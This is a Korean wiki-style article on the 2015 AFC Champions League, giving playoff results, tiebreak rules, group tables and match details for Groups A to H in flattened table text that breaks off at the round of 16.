결승전 2015년 11월 7일 2015년 11월 21일 플레이오프[편집] 순위가 높은 축구 협회에 속해 있는 팀의 홈 구장에서 단판 승부로 진행되며 90분 내에 승부가 나지 않으면 연장전, 승부차기가 진행된다. 플레이오프 승자는 조별 예선에 진출한다. 플레이오프에서 탈락하는 팀 중 2015 AFC컵 참가 대상인 팀은 AFC컵 조별 라운드 출전 자격을 얻는다. 서아시아[편집] 2라운드[편집] 팀 1 결과 팀 2 알카디시야 1 : 0 알웨흐다트 알자이시 2 : 1 알나흐다 알사드 0 : 0 (연장) (승부차기 11 : 10) 리파 2015년 2월 10일 18:15 (UTC+03) 알카디시야 1 : 0 알웨흐다트 쿠웨이트 S.C. 스타디움 관중수: 9,200 심판: 모하나드 카심 압둘라  59' 2015년 2월 10일 18:00 (UTC+03) 알자이시 2 : 1 알나흐다 알가라파 스타디움 관중수: 5,507 심판: 모흐드 아미룰 이즈완 야콥 히베이루  79' 호마리뉴  90' 보울라니  4' 2015년 2월 10일 18:30 (UTC+03) 알사드 0 : 0 (연장전) 리파 셰이크 자심 빈 하마드 스타디움 관중수: 2,500 심판: 무하마드 타키     승부차기   11 : 10   3라운드[편집] 팀 1 결과 팀 2 알아흘리 2 : 1 (연장) 알카디시야 나프트 테헤란 1 : 0 알자이시 부뇨드코르 2 : 1 알자지라 알와흐다 4 : 4 (연장) (승부차기 4 : 5) 알사드 2015년 2월 17일 20:10 (UTC+03) 알아흘리 2 : 1 (연장전) 알카디시야 킹 압둘라 스포츠 시티 관중수: 34,028 심판: 나와프 슈크랄라 알소마  83' (pen.) 알바사스  115' 리포트 알무타와  33' 2015년 2월 17일 18:00 (UTC+03:30) 나프트 테헤란 1 : 0 알자이시 아자디 스타디움 관중수: 5,750 심판: 랍샨 이르마토프 몬타하리  50' 리포트 2015년 2월 17일 17:00 (UTC+05) 부뇨드코르 2 : 1 알자지라 부뇨드코르 스타디움 관중수: 9,263 심판: 알리레자 파가니 쇼디에프  23' 라시도프  52' 리포트 맙쿠트  45+1' (pen.) 2015년 2월 17일 19:10 (UTC+04) 알와흐다 4 : 4 (연장전) 알사드 알나얀 경기장 관중수: 4,208 심판: 압둘라 알힐랄리 디아즈  8' 오마르  72' 알셰히  90+2' 마타르  108' 리포트 아메드  55' 이브라힘  66', 90+7', 98'     승부차기   4 : 5   동아시아[편집] 1라운드[편집] 팀 1 결과 팀 2 야다나본 1 : 1 (연장) (승부차기 5 : 6) 워리어스 조호르 다룰 탁짐 2 : 1 (연장) 벵갈루루 2015년 2월 4일 16:00 (UTC+06:30) 야다나본 1 : 1 (연장전) 워리어스 만달라 스타디움 관중수: 21,400 심판: 하메드 모메니 예 윈 아웅  102' 앤디 윈 아흐마드  99'     승부차기   5 : 6   2015년 2월 4일 20:45 (UTC+08) 조호르 다룰 탁짐 2 : 1 (연장전) 벵갈루루 스타디움 조호르 관중수: 17,455 심판: 압둘 가푸르 압둘 하미드 해리스 하런  47'찬투루 수피아  97' 유진슨  90' 2라운드[편집] 팀 1 결과 팀 2 하노이 T&T 4 : 0 페르십 반둥 촌부리 4 : 1 킷치 광저우 푸리 3 : 0 워리어스 방콕 글라스 3 : 0 조호르 다룰 탁짐 2015년 2월 10일 18:00 (UTC+07) 하노이 T&T 4 : 0 페르십 반둥 미 딘 스타디움 관중수: 2,500 심판: 재러드 질릿 마론클레  34', 57'삼손  47', 71' 2015년 2월 10일 19:00 (UTC+07) 촌부리 4 : 1 킷치 촌부리 스타디움 관중수: 3,432 심판: 김상우 아숨프상  8', 39', 55'누룰  27' 완 춘  35' 2015년 2월 10일 19:30 (UTC+08) 광저우 푸리 3 : 0 워리어스 예지우 스타디움 관중수: 7,883 심판: 미노루 토조 장즈펑  53'장현수  60'장숴  75' 2015년 2월 10일 19:00 (UTC+07) 방콕 글라스 3 : 0 조호르 다룰 탁짐 레오 스타디움 관중수: 5,299 심판: 크리스 베스 나롱  28' 카임비  52', 62' 3라운드[편집] 팀 1 결과 팀 2 FC 서울 7 : 0 하노이 T&T 가시와 레이솔 3 : 2 (연장) 촌부리 센트럴코스트 매리너스 1 : 3 광저우 푸리 베이징 궈안 3 : 0 방콕 글라스 2015년 2월 17일 19:30 (UTC+09) FC 서울 7 : 0 하노이 T&T 서울월드컵경기장 관중수: 6,718 심판: 사토 류지 윤일록  14' 에벨톤  20' 정조국  29', 46' 에스쿠데로  40' 이석현  69' 고명진  72' 리포트 2015년 2월 17일 19:00 (UTC+09) 가시와 레이솔 3 : 2 (연장전) 촌부리 히타치 가시와 축구장 관중수: 6,324 심판: 피터 그린 다케토미  8'레안드루  58 (pen.)', 116' 리포트 아숨프상  10' 크로에크릿  65' 2015년 2월 17일 19:30 (UTC+11) 센트럴코스트 매리너스 1 : 3 광저우 푸리 블루텅 경기장 관중수: 2,776 심판: 김동진 트리피로  90+2' 리포트 장닝  8' 루린  57' 로스  89 (o.g)' 2015년 2월 17일 18:00 (UTC+08) 베이징 궈안 3 : 0 방콕 글라스 베이징 공인체육장 관중수: 21,017 심판: 고형진 송보쉬안  17'바타야  64 (pen.)', 73' 리포트 조별 리그[편집] 각 클럽은 홈과 원정으로 같은 조의 세 클럽들과 두 번씩, 총 여섯 번의 경기를 한다. 승리시 승점 3점, 무승부시 승점 1점을 얻는다. 만약 승점이 같은 팀이 있을 경우 아래와 같은 방법으로 동점자를 가린다. 승점이 같은 팀 간 경기에서 상대 전적이 앞서는 팀 승점이 같은 팀 간 경기에서 골득실차가 더 높은 팀 승점이 같은 팀 간 경기에서 다득점을 한 팀 승점이 같은 팀 간 경기에서 원정 다득점을 한 팀 1~4의 기준을 적용하였음에도 여전히 순위가 같으면 1~4 기준을 순위가 같은 팀 안에서 다시 적용한다. 그럼에도 순위가 같을 경우 아래의 기준을 따른다. 조별 리그에서의 골득실차 조별 리그에서의 다득점 승점이 같은 팀끼리의 승부차기 조별 리그에서 받은 경고와 퇴장으로 인한 점수가 가장 적은 팀 (경고 1점, 경고 누적 퇴장 3점, 직접 퇴장 3점, 경고 후 직접 퇴장 4점) 해당 팀이 소속된 국가의 AFC 랭킹 각 조의 1위 팀과 2위 팀만이 다음 라운드로 진출한다. A조[편집] 팀 경기 승 무 패 득 실 차 승점 레크위야 6 4 1 1 9 5 +4 13 페르세폴리스 6 4 0 2 7 7 0 12 알나스르 6 2 2 2 7 6 +1 8 부뇨드코르 6 0 1 5 2 7 -5 1   알나스르 — 1 : 3 3 : 0 1 : 1 레크위야 1 : 1 — 3 : 0 1 : 0 페르세폴리스 1 : 0 3 : 0 — 2 : 1 부뇨드코르 0 : 1 0 : 1 0 : 1 — 2015년 2월 24일 18:00 (UTC+03:30) 페르세폴리스 3 : 0 레크위야 아자디 스타디움 관중수: 15,350 심판: 헤티캄카남게 페레라 벤가르  60' 노루지  66' 누리  66' (pen.) 리포트 2015년 2월 24일 20:25 (UTC+03) 알나스르 1 : 1 부뇨드코르 킹 파드 국립 경기장 관중수: 23,664 심판: 무하맛 타키 에스토야노프  51' 리포트 우린보에프  14' 2015년 3월 3일 18:00 (UTC+05) 부뇨드코르 0 : 1 페르세폴리스 부뇨드코르 스타디움 관중수: 21,285 심판: 김동진 리포트 누리  21' (pen.) 2015년 3월 3일 18:15 (UTC+03) 레크위야 1 : 1 알나스르 압둘라 빈 할리파 경기장 관중수: 3,840 심판: 모하나드 카심 이르시 사라이 베이스  51' 리포트 무사  47' (o.g) 2015년 3월 17일 18:00 (UTC+05) 부뇨드코르 0 : 1 레크위야 부뇨드코르 스타디움 관중수: 3,840 심판: 이이다 준페이 리포트 남태희  28' (pen.) 2015년 3월 17일 20:30 (UTC+03) 알나스르 3 : 0 페르세폴리스 킹 파드 국립 경기장 관중수: 20,315 심판: 사토 류지 미에르제예프스키  32' 에스토야노프  86' 알라헤브  90+5' 리포트 2015년 4월 8일 18:00 (UTC+04:30) 페르세폴리스 1 : 0 알나스르 아자디 스타디움 관중수: 100,000 심판: 마닝 타로미  62' (pen.) 리포트 2015년 4월 8일 18:30 (UTC+03) 레크위야 1 : 0 부뇨드코르 압둘라 빈 할리파 경기장 관중수: 3,188 심판: 압둘라 알힐랄리 베이스  43' 리포트 2015년 4월 22일 18:30 (UTC+03) 레크위야 3 : 0 페르세폴리스 압둘라 빈 할리파 경기장 관중수: 4,877 심판: 벤 윌리엄스 므사크니  69' 남태희  83' 아피프  90+3' 리포트 2015년 4월 22일 19:00 (UTC+05) 부뇨드코르 0 : 1 알나스르 부뇨드코르 스타디움 관중수: 3,153 심판: 리우 콱 만 리포트 미에르제예프스키  33' 2015년 5월 6일 20:50 (UTC+03) 알나스르 1 : 3 레크위야 킹 파드 국립 경기장 관중수: 40,915 심판: 김종혁 알라에브  36' 리포트 므사크니  28' 남태희  32' 소리아  58' (pen.) 2015년 5월 6일 18:30 (UTC+04:30) 페르세폴리스 2 : 1 부뇨드코르 아자디 스타디움 관중수: 100,000 심판: 야마모토 유다이 누리  69' (pen.) 유라바에프  90+3' (o.g) 리포트 라시도프  69' B조[편집] 팀 경기 승 무 패 득 실 차 승점 알아인 6 3 3 0 7 2 +5 12 나프트 테헤란 6 2 2 2 8 8 0 8 파흐타코르 6 1 3 2 6 8 -2 6 알샤바브 6 1 2 3 5 8 -3 5   파흐타코르 — 0 : 2 0 : 1 2 : 1 알샤바브 2 : 2 — 0 : 1 0 : 3 알아인 1 : 1 0 : 0 — 3 : 0 나프트 테헤란 1 : 1 2 : 1 1 : 1 — 2015년 2월 24일 16:30 (UTC+05) 파흐타코르 2 : 1 나프트 테헤란 파흐타코르 마르카지 경기장 관중수: 4,913 심판: 마사아키 토마 마카라제  48' 세르게에프  85' 리포트 고르바니  59' 2015년 2월 24일 19:00 (UTC+04) 알아인 0 : 0 알샤바브 하자빈 자예드 스타디움 관중수: 15,426 심판: 모흐드 아미룰 이즈완 야콥 리포트 2015년 3월 3일 18:00 (UTC+03:30) 나프트 테헤란 1 : 1 알아인 아자디 스타디움 관중수: 3,300 심판: 탄하이 쿠로시  50' 리포트 잔  58' (페널티) 2015년 3월 3일 20:20 (UTC+03) 알샤바브 2 : 2 파흐타코르 킹 파드 국립 경기장 관중수: 5,404 심판: 피터 그린 알카이바리  35'하자지  84' 리포트 세르게에프  62'마카라제  71' (페널티) 2015년 3월 18일 17:00 (UTC+05) 파흐타코르 0 : 1 알아인 파흐타코르 마르카지 경기장 관중수: 8,675 심판: 김종혁 리포트 스토흐  61' 2015년 3월 18일 18:00 (UTC+03:30) 나프트 테헤란 2 : 1 알샤바브 아자디 스타디움 관중수: 1,560 심판: 김동진 모타하리  86' 파도바니  90' 리포트 하자지  43' (페널티) 2015년 4월 7일 19:15 (UTC+04) 알아인 1 : 1 파흐타코르 하자빈 자예드 스타디움 관중수: 6,872 심판: 파하드 알마리 켐보  20' 리포트 세르게에프  45+2' 2015년 4월 7일 20:35 (UTC+03) 알샤바브 0 : 3 나프트 테헤란 킹 파드 국립 경기장 관중수: 5,035 심판: 헤티캄카남게 페레라 리포트 아미리  57' 모타하리  83' 알리야리  90+1' 2015년 4월 22일 20:40 (UTC+03) 알샤바브 0 : 1 알아인 킹 파드 국립 경기장 관중수: 1,977 심판: 도조 미노루 리포트 잔  58' 2015년 4월 22일 19:00 (UTC+04:30) 나프트 테헤란 1 : 1 파흐타코르 아자디 스타디움 관중수: 1,840 심판: 김상우 레자에이  25' 리포트 코자크  36' 2015년 5월 6일 18:30 (UTC+05) 파흐타코르 0 : 2 알샤바브 파흐타코르 마르카지 경기장 관중수: 3,638 심판: 모흐드 아미룰 이즈완 야콥 리포트 2015년 5월 6일 19:30 (UTC+04) 알아인 3 : 0 나프트 테헤란 하자빈 자예드 스타디움 관중수: 4,299 심판: 피터 그린 리포트 C조[편집] 팀 경기 승 무 패 득 실 차 승점 알힐랄 6 4 1 1 9 4 +5 13 알사드 6 3 1 2 9 9 0 10 풀라드 6 1 3 2 2 4 -2 6 로코모티프 타슈켄트 6 1 1 4 10 13 -3 4   풀라드 — 1 : 0 0 : 0 0 : 0 로코모티프 타슈켄트 1 : 1 — 0 : 2 5 : 0 알힐랄 2 : 0 3 : 1 — 2 : 1 알사드 1 : 0 6 : 2 1 : 0 — 2015년 2월 25일 16:00 (UTC+03:30) 풀라드 0 : 0 알사드 가디르 스타디움 관중수: 37,843 심판: 김상우 리포트 2015년 2월 25일 20:30 (UTC+03) 알힐랄 3 : 1 로코모티프 타슈켄트 킹 파드 국립 경기장 관중수: 17,440 심판: 김종혁 카리리  11'알살렘  14'치아구 네베스  71' 리포트 미르자예프  39' 2015년 3월 4일 15:00 (UTC+05) 로코모티프 타슈켄트 1 : 1 풀라드 로코모티프 스타디움 관중수: 7,456 심판: 사토 류지 조테에프  6' 리포트 자마아티  32' 2015년 3월 4일 18:45 (UTC+03) 알사드 1 : 0 알힐랄 자심 빈 하마드 스타디움 관중수: 6,843 심판: 아흐메드 알카프 이브라힘  29' 리포트 2015년 3월 17일 16:00 (UTC+03:30) 풀라드 0 : 0 알힐랄 가디르 스타디움 관중수: 37,452 심판: 재러드 질릿 리포트 2015년 3월 17일 18:45 (UTC+03) 알사드 6 : 2 로코모티프 타슈켄트 자심 빈 하마드 스타디움 관중수: 4,100 심판: 벤 윌리엄스 이브라힘  27' (페널티) 알하이도스  34' 벨하지  40' 무리키  50' 하산  63' 그라피치  66' 리포트 코야셰비치  56' 야수르 하사노프  77' (pen.) 2015년 4월 8일 16:00 (UTC+05) 로코모티프 타슈켄트 5 : 0 알사드 로코모티프 스타디움 관중수: 3,852 심판: 김동진 비크마에프  7', 14' 쇼아크메도프  55' 코야셰비치  79' 코리안  90+1' 리포트 2015년 4월 8일 20:45 (UTC+03) 알힐랄 2 : 0 풀라드 킹 파드 국립 경기장 관중수: 20,087 심판: 도마 마사아키 알샴라니  46' 알샤라니  61' 리포트 2015년 4월 21일 16:00 (UTC+05) 로코모티프 타슈켄트 1 : 2 알힐랄 로코모티프 스타디움 관중수: 3,974 심판: 나고르 아미르 누르 모하메드 압두콜리코프  90+4' 리포트 알리 아베드  56' 알조리  72' 2015년 4월 21일 19:00 (UTC+03) 알사드 1 : 0 풀라드 자심 빈 하마드 스타디움 관중수: 3,455 심판: 모흐드 아미룰 이즈완 야콥 무리키  42' 리포트 2015년 5월 5일 17:30 (UTC+04:30) 풀라드 1 : 0 로코모티프 타슈켄트 가디르 스타디움 관중수: 2,142 심판: 마닝 2015년 5월 5일 20:55 (UTC+03) 알힐랄 2 : 1 알사드 킹 파드 국립 경기장 관중수: 9,394 심판: 고형진 D조[편집] 팀 경기 승 무 패 득 실 차 승점 알아흘리 6 3 3 0 11 7 +4 12 알아흘리 6 2 2 2 8 8 0 8 나사프 카르시 6 2 2 2 5 5 0 8 트락토르 사지 6 1 1 4 7 11 -4 4   알아흘리 — 3 : 2 0 : 0 3 : 3 트락토르 사지 1 : 0 — 1 : 2 2 : 2 나사프 카르시 0 : 1 2 : 1 — 0 : 0 알아흘리 2 : 1 2 : 0 2 : 1 — 2015년 2월 25일 18:00 (UTC+05) 나사프 카르시 2 : 1 트락토르 사지 카르시 경기장 관중수: 11,160 심판: 압둘라 알힐랄리 쇼무로도프  46' 카리모프  52' 리포트 에지뉴  32' 2015년 2월 25일 20:25 (UTC+04) 알아흘리 3 : 3 알아흘리 라세드 경기장 관중수: 7,200 심판: 도조 미노루 함마디  19', 79' 칼릴  43' 리포트 오스발도  2' 알모가위  41' 알자셈  57' 2015년 3월 4일 16:00 (UTC+03:30) 트락토르 사지 1 : 0 알아흘리 아데가르 에맘 스타디움 관중수: 25,830 심판: 고형진 암하자데흐  40' 리포트 2015년 3월 4일 20:15 (UTC+03) 알아흘리 2 : 1 나사프 카르시 킹 압둘라 스포츠 시티 관중수: 19,855 심판: 스트레브르 델로프스키 알소마  22' 알아마리  78' 리포트 주웨르키안  65' 2015년 3월 18일 20:35 (UTC+04) 알아흘리 0 : 0 나사프 카르시 라세드 경기장 관중수: 3,121 심판: 모하나드 카심 리포트 2015년 3월 18일 20:20 (UTC+03) 알아흘리 2 : 0 트락토르 사지 킹 압둘라 스포츠 시티 관중수: 45,482 심판: 아흐메드 알카프 알자심  72', 80' 리포트 2015년 4월 7일 16:00 (UTC+04:30) 트락토르 사지 2 : 2 알아흘리 아데가르 에맘 스타디움 관중수: 32,500 심판: 사토 류지 에지뉴  60' 세게비  77' 리포트 알소마  74', 90' 2015년 4월 7일 19:00 (UTC+05) 나사프 카르시 0 : 1 알아흘리 카르시 경기장 관중수: 15,500 심판: 김종혁 리포트 이베르통 히베이루  81' 2015년 4월 21일 18:00 (UTC+04:30) 트락토르 사지 1 : 2 나사프 카르시 아데가르 에맘 스타디움 관중수: 15,000 심판: 무하마드 타키 알리아파리 빈 자하리 키아니  52' 리포트 게보르키안  59', 71' 2015년 4월 21일 20:30 (UTC+03) 알아흘리 2 : 1 알아흘리 킹 압둘라 스포츠 시티 관중수: 15,842 심판: 압둘라 발리데 아부 라데아  78' 브루누 세자르  90+4' 리포트 이베르통 히베이루  16' 2015년 5월 5일 19:40 (UTC+04) 알아흘리 3 : 2 트락토르 사지 라세드 경기장 관중수: 3,540 심판: 김동진 2015년 5월 5일 20:00 (UTC+05) 나사프 카르시 0 : 0 알아흘리 카르시 경기장 관중수: 16,000 심판: 도마 마사아키 E조[편집] 팀 경기 승 무 패 득 실 차 승점 가시와 레이솔 6 3 2 1 14 9 +5 11 전북 현대 모터스 6 3 2 1 14 6 +8 11 산둥 루넝 6 2 1 3 13 17 -4 7 빈즈엉 6 1 1 4 6 15 -9 4   전북 현대 모터스 — 4 : 1 3 : 0 0 : 0 산둥 루넝 1 : 4 — 3 : 1 4 : 4 빈즈엉 FC 1 : 1 2 : 3 — 1 : 0 가시와 레이솔 3 : 2 2 : 1 1 : 0 — 2015년 2월 24일 19:00 (UTC+09) 전북 현대 모터스 0 : 0 가시와 레이솔 전주월드컵경기장 관중수: 13,422 심판: 크리스 베스 리포트 2015년 2월 24일 18:00 (UTC+07) 빈즈엉 FC 2 : 3 산둥 루넝 빈즈엉 경기장 관중수: 8,913 심판: 벤 윌리엄스 오세니  48' 왕창  56' (o.g) 리포트 왕융포  47' 양쉬  60', 81' 2015년 3월 3일 15:30 (UTC+08) 산둥 루넝 1 : 4 전북 현대 모터스 지난 올림픽 스포츠 센터 관중수: 27,386 심판: 모함메드 압둘라 하산 양쉬  61' 리포트 에두  21' 한교원  71' 이재성  75' 레오나르두  90+3' 2015년 3월 3일 19:00 (UTC+09) 가시와 레이솔 5 : 1 빈즈엉 FC 히타치 가시와 축구장 관중수: 5,694 심판: 파하드 알마리 구도  42', 67' 브란코비치  44' (o.g) 김창수  56' 오타니 히데카즈  75' 리포트 오세니  82' 2015년 3월 17일 19:00 (UTC+09) 전북 현대 모터스 3 : 0 빈즈엉 전주월드컵경기장 관중수: 6,704 심판: 압둘라 발루시 이니뉴  16' 이동국  41', 86' 리포트 2015년 3월 17일 19:00 (UTC+09) 가시와 레이솔 2 : 1 산둥 루넝 히타치 가시와 축구장 관중수: 7,657 심판: 랍샨 이르마토프 다케토미  23' 와코  90+2' 리포트 몬티요  51' 2015년 4월 8일 18:00 (UTC+07) 빈즈엉 FC 1 : 1 전북 현대 모터스 빈즈엉 경기장 관중수: 4,000 심판: 재레드 길레트 디엥  90' 리포트 이니뉴  29' 2015년 4월 8일 19:00 (UTC+08) 산둥 루넝 4 : 4 가시와 레이솔 지난 올림픽 스포츠 센터 관중수: 21,631 심판: 알리레자 파가니 왕융포  4' 주니오르 우르수  34' 몬티요  37' 양쉬  49' 리포트 레안드루  23' 다케토미  29' 크리스치아누  32', 82' 2015년 4월 22일 19:00 (UTC+09) 가시와 레이솔 3 : 2 전북 현대 모터스 히타치 가시와 축구장 관중수: 7,424 심판: 나와프 슈크랄라 에두아르두 9' 다케토미  19', 38' 리포트 이동국  66', 80' 2015년 4월 22일 19:00 (UTC+08) 산둥 루넝 3 : 1 빈즈엉 FC 지난 올림픽 스포츠 센터 관중수: 12,566 심판: 암마르 알제네이비 양쉬  27', 70' 주니오르 우르수  61' 리포트 응우옌쫑호앙  19' 2015년 5월 6일 19:00 (UTC+09) 전북 현대 모터스 4 : 1 산둥 루넝 전주월드컵경기장 관중수: 11,131명 심판: 헤티캄카남게 페레라 이재성  25' 김형일  51' 이니뉴  80' (pen.) 에두  88' 리포트 왕통  45+1' 2015년 5월 6일 18:00 (UTC+07) 빈즈엉 FC 1 : 0 가시와 레이솔 빈즈엉 경기장 관중수: 4,600명 심판: 파하드 알미르다시 레꽁빈  56' 리포트 F조[편집] 팀 경기 승 무 패 득 실 차 승점 감바 오사카 6 3 1 2 10 7 +3 10 성남 FC 6 3 1 2 7 5 +2 10 부리람 유나이티드 6 3 1 2 12 7 +5 10 광저우 푸리 6 1 1 4 3 13 -10 4   감바 오사카 — 2 : 1 1 : 1 0 : 2 성남 FC 2 : 0 — 2 : 1 0 : 0 부리람 유나이티드 1 : 2 2 : 1 — 5 : 0 광저우 푸리 0 : 5 0 : 1 1 : 2 — 2015년 2월 24일 19:00 (UTC+09) 감바 오사카 0 : 2 광저우 푸리 엑스포 70' 스타디움 관중수: 8,848 심판: 모센 토르키 리포트 함달라  10' 왕송  80' 2015년 2월 24일 18:00 (UTC+07) 부리람 유나이티드 2 : 1 성남 FC 뉴아이모바일 스타디움 관중수: 8,959 심판: 압둘라 하산 모하메드 프라킷  17' 마세나  19' 리포트 나루바딘  88' (o.g) 2015년 3월 3일 19:30 (UTC+09) 성남 FC 2 : 0 감바 오사카 탄천종합운동장 관중수: 7,813 심판: 랍샨 이르마토프 히카르두 부에누  8' (pen.) 황의조  68' 리포트 2015년 3월 3일 19:30 (UTC+8) 광저우 푸리 1 : 2 부리람 유나이티드 웨슈산 체육장 관중수: 9,308 심판: 모흐드 아미룰 이즈완 야콥 뤼린  27' 리포트 고슬기  44' 마세나  90' 2015년 3월 17일 19:30 (UTC+8) 광저우 푸리 0 : 1 성남 FC 웨슈산 체육장 관중수: 8,638 심판: 파하드 알마리 리포트 황의조  27' 2015년 3월 18일 19:00 (UTC+09) 감바 오사카 1 : 1 부리람 유나이티드 엑스포 70' 스타디움 관중수: 6,469 심판: 알리레자 파가니 아베  39' 리포트 티라톤  62' 2015년 4월 7일 18:00 (UTC+07) 부리람 유나이티드 1 : 2 감바 오사카 뉴아이모바일 스타디움 관중수: 23,987 심판: 아흐메드 알카프 티라톤  9' 리포트 린스  41' 오모리  87' 2015년 4월 7일 19:30 (UTC+09) 성남 FC 0 : 0 광저우 푸리 탄천종합운동장 관중수: 5,777 심판: 나와프 슈크랄라 리포트 2015년 4월 22일 19:30 (UTC+09) 성남 FC 2 : 1 부리람 유나이티드 탄천종합운동장 관중수: 3,762 심판: 파하드 알미르다시 김두현  27' (pen.) 남준재  36' 리포트 지오구  77' 2015년 4월 22일 19:30 (UTC+08) 광저우 푸리 0 : 5 감바 오사카 웨슈산 체육장 관중수: 8,647 심판: 아드함 마카드메 리포트 파트리크  14', 45' 아베  44', 68' 우사미  70' 2015년 5월 6일 19:00 (UTC+09) 감바 오사카 2 : 1 성남 FC 엑스포 70' 스타디움 관중수: 12,821명 심판: 모함메드 압둘라 하산 우사미  64' 린스  82' 리포트 황의조  15' 2015년 5월 6일 18:00 (UTC+07) 부리람 유나이티드 5 : 0 광저우 푸리 뉴아이모바일 스타디움 관중수: 17,331명 심판: 암마르 알제네이비 지오구  12', 38', 56' 투네즈  36' 마세나  59' 리포트 G조[편집] 팀 경기 승 무 패 득 실 차 승점 베이징 궈안 6 3 2 1 6 3 +3 11 수원 삼성 블루윙즈 6 3 2 1 11 8 +3 11 브리즈번 로어 6 2 1 3 7 9 -2 7 우라와 레즈 6 1 1 4 5 9 -4 4   브리즈번 로어 — 1 : 2 3 : 3 0 : 1 우라와 레즈 0 : 1 — 1 : 2 1 : 1 수원 삼성 블루윙즈 3 : 1 2 : 1 — 1 : 1 베이징 궈안 0 : 1 2 : 0 1 : 0 — 2015년 2월 25일 19:30 (UTC+10) 브리즈번 로어 0 : 1 베이징 궈안 선콥 스타디움 관중수: 6,851 심판: 아흐메드 알카프 리포트 사오자이  90+2' 2015년 2월 25일 19:30 (UTC+09) 수원 삼성 블루윙즈 2 : 1 우라와 레즈 수원월드컵경기장 관중수: 13,846 심판: 암마르 알제네이비 오범석  56' 레오  87' 리포트 모리와키  45+1' 2015년 3월 4일 19:30 (UTC+8) 베이징 궈안 1 : 0 수원 삼성 블루윙즈 노동자 경기장 관중수: 35,567 심판: 헤티캄카남게 페레라 다먀노비치  65' 리포트 2015년 3월 4일 19:30 (UTC+09) 우라와 레즈 0 : 1 브리즈번 로어 사이타마 스타디움 2002 관중수: 13,527 심판: 일기즈 탄타셰프 리포트 보렐로  3' 2015년 3월 17일 19:30 (UTC+8) 베이징 궈안 2 : 0 우라와 레즈 노동자 경기장 관중수: 38,355 심판: 모함메드 압둘라 하산 바타야  13' 위다바오  22' 리포트 2015년 3월 18일 19:00 (UTC+11) 브리즈번 로어 3 : 3 수원 삼성 블루윙즈 선콥 스타디움 관중수: 5,197 심판: 파하드 알미르다시 보렐로  13' 클럿  22', 80' 리포트 서정진  39', 50' 정대세  71' 2015년 4월 8일 19:30 (UTC+09) 수원 삼성 블루윙즈 3 : 1 브리즈번 로어 수원월드컵경기장 관중수: 6,771 심판: 압둘라만 알자심 권창훈  50' 서정진  58' 염기훈  63' 리포트 드베어  75' 2015년 4월 8일 19:30 (UTC+09) 우라와 레즈 1 : 1 베이징 궈안 사이타마 스타디움 2002 관중수: 13,683 심판: 압둘라 발리데 마키노  74' 리포트 위다바오  33' 2015년 4월 21일 19:30 (UTC+09) 우라와 레즈 1 : 2 수원 삼성 블루윙즈 사이타마 스타디움 2002 관중수: 13,924 심판: 아흐메드 알카프 류비얀키치  68' 리포트 고차원  74' 카이우  88' 2015년 4월 21일 19:30 (UTC+08) 베이징 궈안 0 : 1 브리즈번 로어 노동자 경기장 관중수: 35,578 심판: 발렌틴 코발렌코 리포트 칼루제로비치  39' 2015년 5월 5일 16:00 (UTC+09) 브리즈번 로어 1 : 2 우라와 레즈 선콥 스타디움 관중수: 5,941명 심판: 알리레자 파가니 칼루제로비치  70' 리포트 고로키  24' 무토  57' 2015년 5월 5일 19:30 (UTC+10) 수원 삼성 블루윙즈 1 : 1 베이징 궈안 수원월드컵경기장 관중수: 14,380명 심판: 랍샨 이르마토프 레우  27' 리포트 다먀노비치  25' H조[편집] 팀 경기 승 무 패 득 실 차 승점 광저우 헝다 6 3 1 2 9 9 0 10 FC 서울 6 2 3 1 5 4 +1 9 웨스턴 시드니 6 2 2 2 9 7 +2 8 가시마 앤틀러스 6 2 0 4 10 13 -3 6   광저우 헝다 — 0 : 2 4 : 3 1 : 0 웨스턴 시드니 2 : 3 — 1 : 2 1 : 1 가시마 앤틀러스 2 : 1 1 : 3 — 2 : 3 FC 서울 0 : 0 0 : 0 1 : 0 — 2015년 2월 25일 19:00 (UTC+09) 가시마 앤틀러스 1 : 3 웨스턴 시드니 가시마 스타디움 관중수: 7,736 심판: 파하드 알미르다시 도이  68' 리포트 쇼지  54' (o.g) 다카하기  85' 브릿지  90+3' 2015년 2월 25일 20:00 (UTC+08) 광저우 헝다 1 : 0 FC 서울 텐허 스타디움 관중수: 46,749 심판: 모하나드 카심 이르시 사라이 히카르두 골라르트  31' 리포트 2015년 3월 4일 19:30 (UTC+09) FC 서울 1 : 0 가시마 앤틀러스 서울월드컵경기장 관중수: 5,790 심판: 알리레자 파가니 김진규  61' 리포트 2015년 3월 4일 19:30 (UTC+11) 웨스턴 시드니 2 : 3 광저우 헝다 패러매타 스타디움 관중수: 11,418 심판: 나고르 아미르 누르 모하메드 라 로카  57' 카스텔렌  90+5' 리포트 골라르트  19', 58', 64' 2015년 3월 18일 19:30 (UTC+09) FC 서울 0 : 0 웨스턴 시드니 서울월드컵경기장 관중수: 5,645 심판: 암마르 알제네이비 리포트 2015년 3월 18일 20:00 (UTC+08) 광저우 헝다 4 : 3 가시마 앤틀러스 텐허 스타디움 관중수: 48,651 심판: 모흐드 아미룰 이즈완 야콥 골라르트  10', 62' 이우케종  57' 자오쉬리  90+2' 리포트 다카사키  36' 도이  51' 시바사키  90+3' 2015년 4월 7일 19:30 (UTC+10) 웨스턴 시드니 1 : 1 FC 서울 패러매타 스타디움 관중수: 7,073 심판: 발렌틴 코발렌코 불루트  12' 리포트 고요한  72' 2015년 4월 7일 19:00 (UTC+09) 가시마 앤틀러스 2 : 1 광저우 헝다 가시마 스타디움 관중수: 7,033 심판: 암마르 알제네이비 엔도  19' (pen.) 다카사키  90+3' 리포트 이우케종  75' 2015년 4월 21일 19:30 (UTC+10) 웨스턴 시드니 1 : 2 가시마 앤틀러스 패러매타 스타디움 관중수: 5,221 심판: 카미스 알마리 루카비츠야  24' 리포트 도이  66' (pen.) 가나자키  90+1' 2015년 4월 21일 19:30 (UTC+09) FC 서울 0 : 0 광저우 헝다 서울월드컵경기장 관중수: 17,157 심판: 압둘라만 알자심 리포트 2015년 5월 5일 20:00 (UTC+08) 광저우 헝다 0 : 2 웨스턴 시드니 텐허 스타디움 관중수: 35,641명 심판: 나와프 슈크랄라 리포트 브릿지  33' 유리치  90+3' 2015년 5월 5일 15:00 (UTC+09) 가시마 앤틀러스 2 : 3 FC 서울 가시마 스타디움 관중수: 19,233명 심판: 압둘라 알힐랄리 아카사키  8' 시바사키  79' 리포트 이웅희  36' 오스마르  51' 몰리나  90+1' 결선 토너먼트[편집] 16강전[편집] 16강전은 조별 예선의 결과에 따라 각 조 1위와 다른 조 2위와 각각 맞붙으며 각 조 2위의 홈에서 1차전이 치러지고 각 조 1위의 홈에서 2차전이 치러진다. 팀 1 결과 팀 2 1차전 2차전 서아시아 알사드 3 : 4 